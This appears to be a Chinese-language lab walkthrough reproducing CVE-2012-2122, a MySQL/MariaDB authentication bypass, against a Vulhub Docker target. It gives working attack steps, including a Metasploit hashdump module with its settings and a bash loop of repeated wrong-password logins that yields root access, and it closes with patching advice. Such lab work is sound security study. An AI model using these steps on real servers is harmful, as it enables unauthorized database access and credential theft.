赞
踩
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
攻击机:kali-linux——192.168.1.9/24
靶机:Centos7——192.168.1.10/24
Centos7安装docker跟vulhub可以参考CentOS 7 安装docker容器及Vulhub靶场
本级mysql未安装
如已经安装请进入…/vulhub/mysql/CVE-2012-2122目录
执行 vim vim docker-compose.yml将默认"3306:3306"修改为如下
(base) [root@centos7 shoot_range]# cd ./vulhub/mysql
(base) [root@centos7 mysql]# ls
CVE-2012-2122
(base) [root@centos7 mysql]# cd CVE-2012-2122/
(base) [root@centos7 CVE-2012-2122]# docker-compose up -d
cve-2012-2122_mysql_1_68d4870a2ce1 is up-to-date
(base) [root@centos7 CVE-2012-2122]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1f41deeea1de vulhub/mysql:5.5.23 "/bin/bash -c mysqld…" 28 minutes ago Up 28 minutes 0.0.0.0:3307->3306/tcp, :::3307->3306/tcp cve-2012-2122_mysql_1_68d4870a2ce1
(base) [root@centos7 CVE-2012-2122]#
此时启动的靶场端口为3307
该MySql身份认证绕过漏洞有两种攻击方式
命令行测试能否正常连接:mysql -h your_centos7_ip -u root -p 123456 -P 3307
(base) ┌──(root㉿anonymous)-[~]
└─# mysql -h 192.168.1.10 -uroot -p123456 -P 3307
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.23 Source distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
此时能进行正常连接就可以开始测试了
由于是启动的kali自带的msf工具可以直接使用
命令行依次输入如下命令
msfconsole // 启动msf工具
use auxiliary/scanner/mysql/mysql_authbypass_hashdump //使用mysql无CVE-2012-2122利用模块
show options //查看需要设置哪些参数
需要设置RHOSTS——靶机ip、RPORT——mysql服务端口、USERNAME——mysql数据库名、THREADS——启用线程
通过set [方法] [参数] 例如设置启动线程为100:set THREADS 100
按如上参数设置完参数后在命令行输入run进行运行
最后可以获得该mysql数据库密码表进行利用
查看密码表:
cd /home/kali/.msf6/loot/ 本级装的是msf6.0所以.msf6目录下
ls查看该目录下文件可以看到上述msf爆破得到的.txt的密码表
for i in seq 1 1000
; do mysql -u root -P3307 -password=bad -h 192.168.1.10 2>/dev/null; done
(base) ┌──(root㉿anonymous)-[~]
└─# for i in `seq 1 1000`; do mysql -u root -P3307 -password=bad -h 192.168.1.10 2>/dev/null; done
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1011
Server version: 5.5.23 Source distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
升级官方补丁
更新mysql版本
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。